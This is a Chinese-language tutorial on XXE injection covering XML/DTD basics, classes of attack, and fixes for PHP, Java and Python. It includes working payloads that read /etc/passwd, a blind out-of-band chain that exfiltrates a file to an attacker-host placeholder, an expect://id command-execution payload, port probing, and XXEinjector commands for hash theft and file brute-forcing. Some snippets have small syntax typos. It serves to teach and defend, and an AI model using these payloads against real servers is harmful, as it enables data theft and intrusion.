【Web安全攻防从入门到精通】XXE漏洞
XXE漏洞
XXE概述
XXE,即XML外部实体注入。该漏洞是在对不安全的外部实体数据进行处理时引发的安全问题。
文档结构
XML是可扩展的标记语言,设计用来进行数据的传播和存储。
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
<!-- XML 声明 -->
<?xml Version="1.0"?>
<!-- 文档类型定义 -->
<!DOCTYPE note [ <!-- 定义此文档是note类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!-- 定义note元素由四个元素-->
<!ELEMENT to (#PCDATA)> <!-- 定义to元素为“#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!-- 定义from元素为“#PCDATA”类型-->
<!ELEMENT heading (#PCDATA)> <!-- 定义heading元素为“#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!-- 定义body元素为“#PCDATA”类型-->
]]]>
<!-- 文档元素 -->
<note>
<to>Dave</to>
<from>Tom</from>
<heading>Reminder</heading>
<body>You are a good man</body>
</note>
DTD
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD可被成行地生命与XML文档中,也可作一个外部引用
- 内部的DOCTYPE声明
<!DOCTYPE 根元素 [元素声明]>
- 外部文档声明
<!DOCTYPE 根元素 SYSTEM "文件名">
DTD实体
- 内部实体声明
<!ENTITY 实体类型 "实体的值">
- 外部实体声明
<!ENTITY 实体名称 SYSTEM "URI/URL">
- 参数实体声明
<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI/URL">
三种实体声明方式的使用区别如下:
- 参数实体用%实体名称声明,引用时也用%实体名称;其余实体直接用实体名称声明,引用时用&实体名称
- 参数实体只能在DTD中声明,DTD中引用;其余实体只能在DTD中声明,可在XML文档中引用。
XXE漏洞原理
XXE即XML外部实体注入。
注入:指XML数据在传输过程中被修改,导致服务器执行了修改后的恶意代码,从而达到攻击的目的。
外部实体:指攻击者通过利用外部实体声明部分来对XML数据进行修改、插入恶意代码。
所以,XXE是指XML数据在传输过程中,利用外部实体声明部分的”SYSTEM“关键词,导致XML解析器可以从本地文件或者远程URL中读取数据。
XXE分类
按照构造外部实体声明的方法不同,分为:
- 直接通过DTD外部实体声明
- 通过DTD文档引入外部DTD文档中的外部实体声明
- 通过DTD外部实体声明引入DTD文档中的外部实体声明
按照XXE回显信息不同,分为:
- 正常回显XXE
- 报错回显XXE
- Blind XXE
按构造外部实体声明
- 直接通过DTD外部尸体声明
<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<hhh>&f;</hhh>
- 通过DTD文档引入外部DTD文档中的外部实体声明
<!-- XML文件内容 -->
<?xml version"1.0"?>
<!DOCTYPE Quan SYSTEM "https://xxx.xx/xx.dtd">
<hhh>&f;</hhh>
<!-- DTD文件内容 -->
<!ENTITY f SYSTEM "file:///etc/passwd">
- 通过DTD外部实体声明引入外部DTD文档中的外部实体声明
<!-- 实体声明 -->
<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "https://xxx.xx/xx.dtd">
]>
<!-- xx.dtd的外部实体声明内容 -->
<!ENTITY f SYSTEM "file:///etc/passwd">
按回显信息
- 正常回显XXE
正常回显XXE是最传统的XXE攻击,在利用过程中服务器直接回显信息,可直接完成XXE攻击
- 报错XXE
报错XXE是回显XXE攻击的一种特例,他与正常回显XXE不同在于,利用的是过程中服务器回显的错误信息,可根据错误信息的不同判断是否注入成功。
- Blind XXE
当服务器没有回显,我们可以选择使用Blind XXE。与前两种XXE的不同之处在于,BlindXXE无回显信息,可组合利用file协议来读取文件,或者利用http协议和FTP协议来查看日志。
BlindXXE主要使用DTD约束中的参数实体和内部实体。参数实体是一种只能在DTD中定义和使用的实体,一般引用时使用%作为前缀。而内部实体是指在一个试题中定义的另一个实体。
<!-- 嵌套定义 -->
<?xml version="1.0"?>
<!DOCTYPE Note[
<!ENTITY % file SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "https://攻击机IP/xx.xml">
%remote
%all
]>
<root>&send;</root>
<!-- xx.xml内容 -->
<!ENTITY % all "<!ENTITY % send SYSTEM 'https://xxx.xx/1.php?file=%file;'>">
%remote引入外部XML文件到这个XML中,%all检测到send实体,在root节点引入send实体,便可实现数据转发。
利用过程:如上述代码第三行,存在漏洞的服务器会读取出file的内容(C:/1.txt),通过xx.xml带外通道发送给攻击者服务器上的1.php,1.php会把读取到的数据保存到本地的1.txt中,即可完成攻击。
危害
- 读取任意文件
PHP中可以通过FILE协议、HTTP协议和FTP协议读取文件、还可以利用PHP伪协议。XML在各语言下均有支持的协议。
<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<hhh>&f;</hhh>
libxml2 | PHP | JAVA | .NET |
---|---|---|---|
file | file | http | file |
http | http | https | http |
ftp | ftp | ftp | https |
php | file | ftp | |
compress.zlib | jar | ||
compress.bzip2 | netdoc | ||
data | mailto | ||
glob | gopher * | ||
phar |
- 执行系统命令
这种情况很少发送,但在配置不当/开发内部应用的情况下(如PHP expect模块加载到了易受攻击的系统或者处理XML的内部应用程序上),攻击者能够通过XXE执行代码。
<?xml version="1.0">
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "expect://id">
]>
<hhh>&f;</hhh>
- 探测内网端口
可根据返回信息内容判断端口是否打开。若测试端口返回”Connection refused“则说明该端口是closed的,否则为open。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY Quan SYSTEM "https://xxxx:80">
]>
<reset><login>&Quan;</login><secret>Any bugs?</secret></reset>
XXEinjector
一款基于Ruby的XXE注入工具,可以使用多种直接或间接带外方法来检索文件。其中,目录枚举功能只对Java应用程序有效,而暴力破解攻击需要使用其他应用程序。
使用方法
- 枚举HTTPS应用程序中的/etc目录
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --ssl
- 使用gopher(OOB方法)枚举/etc目录
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher
- 二次漏洞利用
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt--2ndfile=/tmp/2ndreq.txt
- 使用HTTP带外方法和netdoc协议对文件进行爆破攻击
ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt--file=/tmp/req.txt --oob=http -netdoc
- 通过直接性漏洞利用方式进行资源枚举
ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK
- 枚举未过滤的端口
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all
- 窃取Windows哈希
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt -hashes
- 使用Java jar上传文件
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt--upload=/tmp/uploadfile.pdf
- 使用PHP expect执行系指令
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter--expect=ls
- 测试XSLT注入
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt -xslt
- 记录请求信息
ruby XXEinjector.rb --logger --oob=http--output=/tmp/out.txt
防御
- 关键词修复方法
过滤用户提交的XML数据,并过滤关键词<!DOCTYPE和<!ENTITY,或SYSTEM和PUBLIC。
- php修复方法
PHP语言修复方法,禁用/启用加载外部实体功能。将该函数功能设置为启用(true)函数(libxml_disable_entity_loader(true);)即可。
- JAVA修复方法
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
- Python修复方法
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))